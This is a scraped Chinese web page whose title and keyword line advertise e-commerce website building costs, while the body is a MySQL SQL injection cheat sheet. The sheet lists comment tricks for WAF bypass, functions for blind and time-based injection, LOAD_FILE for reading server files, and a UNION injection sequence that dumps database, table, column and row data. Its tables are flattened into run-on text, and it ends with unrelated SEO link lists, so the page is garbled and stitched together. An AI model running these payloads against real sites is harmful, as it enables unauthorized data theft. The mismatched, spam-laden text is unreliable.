当前位置: 首页 > news >正文

电子商务网站建设的成本分析制作网站深圳

电子商务网站建设的成本分析,制作网站深圳,wordpress教程视频 下载,网站建设需要固定ip地址吗01. 常用符号、函数、语句 1.1. 常用符号 1.1.1. 注释符 注释符说明#(%23)单行注释 在URL中#表示锚点,也就是hash路由,带上#不会请求后端路由,而是刷新前端路由,所以测试一般用URL编码后的%23– – - -+单行注释 注意–后还有一个空格;其中+号会被URL解码为空格/**/多行…01. 常用符号、函数、语句 1.1. 常用符号 1.1.1. 注释符 注释符说明#(%23)单行注释 在URL中#表示锚点,也就是hash路由,带上#不会请求后端路由,而是刷新前端路由,所以测试一般用URL编码后的%23– – - ±-+单行注释 注意–后还有一个空格;其中+号会被URL解码为空格/**/多行(内联)注释 一般用于绕过WAF、代替空格等1.1.2. 运算符 运算符说明与,同 and||或,同 or!非,同 not^异或,同xor|转义符~一元比特反转左移右移+加,URL解码后可替代空格-减法*乘法/ 或 div除法% 或 mod取余=等于, !=不等于大于小于=小于等于=大于等于BETWEEN在两值之间NOT BETWEEN不在两值之间IN在集合中NOT IN不在集合中=严格比较两个NULL值是否相等LIKE模糊匹配REGEXP 或 RLIKE正则式匹配IS NULL为空IS NOT NULL不为空1.1.3. 全局变量 所有全局变量可通过如下语句查看: SHOW GLOBAL VARIABLES; SHOW VARIABLES;变量说明@@VERSION返回版本信息@@GLOBAL.VERSION同@@VERSION@@HOSTNAME返回安装的计算机名称@@BASEDIR返回MYSQL绝对路径@@DATADIR数据路径1.2. 常用函数 完整的各种函数可以参考:https://www.runoob.com/mysql/mysql-functions.html 1.2.1. 数据库信息 函数说明USER()获取当前操作句柄的用户名,同SESSION_USER()、CURRENT_USER(),有时也用SYSTEM_USER()DATABASE()获取当前选择的数据库名,同SCHEMA()VERSION()获取当前版本信息1.2.2. 数据类型转换 函数说明ASCII(str)返回字符串第一个字符的ASCII值ORD(str)同ASCII(str)HEX(N_S)参数为字符串时,返回 N or S 的16进制字符串形式;为数字时,返回其16进制数形式UNHEX(str)HEX(str) 的逆向函数将参数中的每一对16进制数字都转换为10进制数字,然后再转换成 ASCII 码所对应的字符BIN(N)返回十进制数值 N 的二进制数值的字符串表现形式N 是一个BIGINT型数值,作用相当于CONV(N,10,2)OCT(N)返回十进制数值 N 的八进制数值的字符串表现形式CONV(N,from_base,to_base)将数值型参数 N 由初始进制 from_base 转换为目标进制 to_base 的形式并返回CHAR(N,… [USING charset_name])将每一个参数 N 都解释为整数,返回由这些整数在 ASCII 码中所对应字符所组成的字符串1.2.3. 字符串截取 函数说明SUBSTR(str,N_start,N_length)对指定字符串进行截取,为SUBSTRING的简单版 str : 截取的字符串 N_start : 截取起始位置 ( mysql中的start是从1开始的 ) N_length : 截取长度SUBSTRING(str,start) SUBSTRING(str,start,len) SUBSTRING(str FROM start) SUBSTRING(str FROM start FOR len)对指定字符串进行截取,有多种形式 str : 截取的字符串 start : 截取起始位置 ( mysql中的start是从1开始的 ) len : 截取长度MID(str,pos,len)同于 SUBSTRING(str,pos,len)RIGHT(str,len)对指定字符串从最右边截取指定长度LEFT(str,len)对指定字符串从最左边截取指定长度RPAD(str,len,padstr)在 str 右方补齐 len 位的字符串 padstr,返回新字符串如果 str 长度大于 len,则返回值的长度将缩减到 len 所指定的长度LPAD(str,len,padstr)与RPAD相似,在str左边补齐INSERT(str,pos,len,newstr)在原始字符串 str 中,将自左数第 pos 位开始,长度为 len 个字符的字符串替换为新字符串 newstr,然后返回经过替换后的字符串INSERT(str,len,1,0x0)可当做截取函数1.2.4. 字符串拼接 函数说明CONCAT(str1,str2…)函数用于将多个字符串合并为一个字符串CONCAT_WS(separator,str1,str2…)和concat函数类似,只是通过分隔符separator将字符串连接在一起GROUP_CONCAT(…)返回一个字符串结果,该结果由分组中的值通过逗号连接组合而成MAKE_SET(bits,str1,str2,…)返回一个设定值(含子字符串分隔字符串","字符),在设置位的相应位的字符串可用作布尔盲注,如:EXP(MAKE_SET((LENGTH(DATABASE())8)+1,‘1’,‘710’))1.2.5. 数据匹配 函数说明= “statement”全匹配LIKE “statement”匹配数据,%代表任意内容REGEXP “statement”正则匹配数据RLIKE “statement”与regexp相同,正则匹配数据1.2.6. 条件函数 函数说明IF(exp,state1,state2)条件语句,exp为true,执行state1,否则执行state2CASE…WHEN exp THEN state1 ELSE state2 END同IF,…可直接省略NULLIF(expr1,expr2)若expr1与expr2相同,则返回expr1,否则返回NULL1.2.7. 其他 函数/语句说明SLEEP(N)休眠N秒BENCHMARK(count,expr):将表达式expr重复运行count次(消耗CPU),可以达到sleep()的效果ORDER BY用于对结果集进行排序,默认按照升序对记录进行排序EXISTS(sql)判断SQL语句执行后是否有结果;存在的话返回结果为:1(true),不存在的话返回结果:0(false)LIMIT m,n查询结果从 m 开始取 n 个LENGTH(str)返回字符串的长度LOAD_FILE(filePath)读取文件内容,可以将文件名转换成ASCII码或者十六进制的形式;secure_file_priv默认情况下为null不允许读文件 ASCII码需要用char()函数,char(96,97) 十六进制前面要加上 0x 读取内容不显示的情况下,可以用hex()函数:hex(load_file())PI()返回π的具体数值LOCATE(substr,str,[pos])返回子字符串第一次出现的位置POSITION(substr IN str)等同于 LOCATE()LOWER(str)将字符串的大写字母全部转成小写同:LCASE(str)UPPER(str)将字符串的小写字母全部转成大写同:UCASE(str)ELT(N,str1,str2,str3,…)与MAKE_SET(bit,str1,str2…)类似,根据N返回参数值CHARSET(str)返回字符串使用的字符集DECODE(crypt_str,pass_str)使用 pass_str 作为密码,解密加密字符串 crypt_str加密函数:ENCODE(str,pass_str)1.3. 常用语句 说明语句基础信息获取数据库版本信息 select version(); select @@innodb_version; 获取当前用户 select user(); 获取当前数据库 select database(); 数据路径 select @@datadir;获取所有数据库select schema_name from information_schema.schemata;获取所有用户查看表结构 desc mysql.user 获取所有用户信息 select * from mysql.user获取当前数据库的表名desc information_schema.tables; select table_name from information_schema.tables where table_schema = database(); select group_concat(table_name) from information_schema.tables where table_schema = database();获取当前数据库的某表的列名select column_name from information_schema.columns where table_name = ‘表名’; select group_concat(column_name) from information_schema.columns where table_name = ‘表名’;获取当前数据库中某列的值select id ,username,password from users;查询DBA账户(一般root)select host, user from mysql.user where super_priv = ‘y’;02. 各种注入手法 1.1. 联合(union)注入 1.1.1. 注入一般流程 -- 判断字段数目 order by 3-- 联合查询搜集信息(表中字段数为3,注意字符类型,如 int,String之类的) union select 1,2,3-- 查询当前数据库名称 union select 1,2,database();-- 查询所有数据库 union select 1,2,group_concat(schema_name) from information_schema.schemata;-- 查询当前数据库中的所有表名 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database();-- 查询某表的列名,studnet 表示 具体的表名 union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'student'-- 查询数据 union select 1,2,group_concat(id,name,age) from student;1.1.2. 扩展 使用@当临时变量,来判断字段数 select * from user limit 1 into @,@;1.1.3. 常用语句 (select(group_concat(SCHEMA_NAME)from(information_schema.schemata)))(select(group_concat
http://www.zqtcl.cn/news/16049/

相关文章:

  • 网站对公司的作用是什么意思广州建站网站
  • 泉州建站方案网站优化三要素
  • 做面食专业网站做淘宝客网站用什么程序最好
  • 国外化工网站模板店面布置效果图大全
  • ppt做书模板下载网站有哪些内容注册域名的常见问题
  • 公司网站开发费账务处理网页游戏排行榜 511
  • 怎么用ps做网站框架注册域名需要什么
  • 高埗镇网站建设公司网站电子签名怎么做
  • 国内做游戏破解的网站网站母版页怎么做
  • 玻璃行业做的非常有设计感的网站建筑工程网格化管理
  • 企业官网网站建设网站建设公司 温州
  • 成都市建设网站公司前端性能优化有哪些方法
  • 获取网站访客qq信息最好的html5画廊显示质量html5的网站
  • flask公司网站开发上海优化外包公司
  • 专业的建设企业网站公司wordpress主题idowns
  • 网站建设的经验商家推广平台有哪些
  • 做网站卖东西赚钱吗soho建网站
  • 网站权重数据包网站制作多少钱啊
  • 课程网站建设的财务分析二手书的网站建设
  • 济南集团网站建设公司好平面设计新手兼职接单
  • seo网站优化服务合同南沙公司注册
  • 个人备案的网站可以做淘宝客吗建水县住房和城乡建设局网站
  • 上海网站优化排名长安网站建设软件
  • 手机网站商城源码wordpress no.7高级版
  • 中科网站建设家居网站建设哪家好
  • 企业在网站建设上的不足软件工程专业就业方向
  • 郑州专业手机网站制作做招聘网站用哪个cms
  • 银川公司网站建设集美区网站建设
  • 如何用dw做旅游网站目录a4网站建设
  • 模板建网站费用创意设计师是做什么的